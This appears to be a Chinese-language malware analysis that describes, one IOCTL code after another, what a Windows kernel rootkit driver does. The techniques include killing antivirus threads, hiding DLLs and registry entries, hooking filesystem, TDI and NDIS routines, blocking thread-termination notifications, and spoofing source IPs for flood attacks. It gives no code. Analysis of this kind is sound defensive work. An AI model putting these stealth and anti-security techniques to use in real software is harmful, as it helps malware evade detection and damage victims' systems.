传入MmGetSystemRoutineAddress在内核空间的地址,用于获取内核导出符号(函数和变量)的地址,符号列表IoDriverObjectType,ZwCreateKey,ZwSetValueKey,ObReferenceObjectByName,PsLookupProcessByProcessId,ZwOpenKey;
传入以下函数地址并保存前0x0C个字节Opcode,这些函数会被inline hook,保存的Opcode用于恢复。函数列表MmFlushImageSection,KeInitializeApc,KeInsertQueueApc,KiInsertQueueApc,MmFlushImageSection,IoGetAttachedDevice;
传入不同操作系统版本下ThreadListHeadOffsetInEPROCESS和ThreadListEntryOffsetInETHREAD,用于枚举目标进程的线程;
传出KeServiceDescriptorTable.ServiceTableBase(KiServiceTable)和KeServiceDescriptorTable.NumberOfServices,用于定位文件ntkrnlpa.exe中KiServiceTable VA,恢复内存中的SSDT;
0x22240B:
使用传入的从内核文件读取的修正为内核地址空间的KiServiceTable恢复SSDT;
0x22240F:
隐藏DLL module,主要分三部分。
1 将模块LDR_MODULE从EPROCESS->PEB->PEB_LDR_DATA的三个ModuleList中脱链;
2 遍历EPROCESS->VadRoot树,找到模块对应的节点,置零该节点的ControlArea->FileName;
3 清零模块加载后的包括文件头在内的前0x2C0字节;
0x222413:
Hook \\FileSystem\\NTFS或\\FileSystem\\FATFS文件系统驱动。具体是通过ObReferenceObjectByName()得到FsDriverObject,Hook其IRP_MJ_CARETE和IRP_MJ_DIRECTORY_CONTROL Dispatch例程,禁止除自身线程以外的其他线程访问system32目录下的驱动;
0x222417:
返回本驱动文件名;
0x222418:
KillAntiVirus功能,杀死杀软进程内所有线程。
通过传入的杀软进程Id使用PsLookupProcessByProcessId得到EPROCESS结构,遍历ThreadListHead 链表,通过ThreadListEntryOffsetInETHREAD偏移计算ETHREAD地址;然后使用保存的Opcode比较判断PspTermanateThreadByPointer,KeInsertQueueApc,KiInsertQueueApc是否被Hook,若被inline hook,则恢复;然后调用PspTermanateThreadByPointer结束线程。
0x22241C:
设置注册表键值;
0x222420:
使用已有的Hook注册表pfGetCellRoutine方法隐藏注册表项,主要用于隐藏病毒Service DLL注册表项。
具体是调用ZwOpenKey打开注册表项hKey,使用ObReferenceObjectByHandle(hKey)得到PCM_KEY_BODY,进而从其KeyControlBlock字段中得到KeyCell和KeyHive字段,Hook KeyHive的GetCellRoutine;维护一个Service DLL注册表项列表,每次将要打开注册表项和列表中项比较,匹配则隐藏。
0x222424:
Inline hook KeInitializeApc,辅以NormalContext用于阻止TerminateThread Notify。
具体做法是应用程序调用TerminateThread时将Parameter设置为0xE1F27272标识,内核会分配KAPC,并将KAPC.NormalContext设置为0xE1F27272;执行到Hook代码时,比较进程是否是病毒自身进程和标识是否是0xE1F27272,若是则设置KAPC.Inserted为1,阻止KAPC插入APC队列,从而KernelRoutine不被回调,系统不被通知。
0x222428:
删除设备引用名,恢复系统;
0x22242C:
Inline Hook TDI tcpip.sys IRP_MJ_INTERNAL_DEVICE_CONTROL:TDI_SEND_DATAGRAM;
根据对其缓冲区的操作看,缓冲区中应该是DNS查询或应答的信息,对缓冲器中内容做运算,其值在阻止域名运算值列表中比对,用于阻止某些网站的域名查询。
但是缓冲区中DNS协议的16位标志字段是0x7080,正常DNS查询应该是0x0100,所以起不到阻止作用,好像是bug。
0x222430:
Inline hook MmFlushImageSection和IoGetAttachedDevice,保存FileSystem驱动的MajorFunction表以用于恢复。
MmFlushImageSectionHook-如果FileSystemDriver的MajorFunction被Hook过(病毒会Hook IRP_MJ_CARETE和IRP_MJ_DIRECTORY_CONTROL两个Dispatch),则首先用保存的备份恢复MajorFunction表;然后当访问线程是病毒自身且为MmFlushForDelete时,返回TRUE,强力删除文件;其余线程正常;
IoGetAttachedDeviceHook-当访问线程是病毒自身,且设备驱动是FileSystemDriver时,不返回最顶层设备,而是直接返回底层\\FileSystem\\NTFS或\\FileSystem\\FASTFAT设备;
0x222434:
Inline Hook NdisMSendHandler,主要功能是填充RawIP分组,做源IP欺骗;
NdisMSendHandlerHook的主要功能首先检测数据包是不是IP数据包(Version-Length:0x45)和Protocol字段是否为0(应用程序创建RawIP+IPROTO_IP时,Protocol为0);
若是,则检测第一个包最后双字是不是0x01010402(TCP options),若是,则将IP报头Protocol字段设置为TCP(0x06);若不是0x01010402,则强制设置协议类型为UDP,并且设置source IP为包最后双字,然后重新计算IP头校验和,交原来MSendHandler发送。
流程图从略
因为0x01010402(TCP options)主要是出现在TCP建立连接的三次握手阶段,所以除TCP_SYN报文外,除非TCP发送字节等于SOURCE IPADDR才会正确表明本机,但仍然被修改为UDP数据报。可以用于TCP半连接打开端口检测。
配合应用程序使用SOCK_RAWIP+IPROTO_IP socket,一方面半连接,一方面隐藏源地址,TCP报文变UDP数据报,做IP Blood攻击。
0x2A0000:
没有相关实现。
参考书籍/文档
<PE File Format>
<TCPIP Stack>
<Windows驱动程序模型 - WDM>
<I386 Architecture>
<I386汇编语言>
<Option ROM Expansion Card BIOS Information>
<IME/PEB/APC/SSDT/NDIS/VAD/MBR/DBR>
By udsnocriz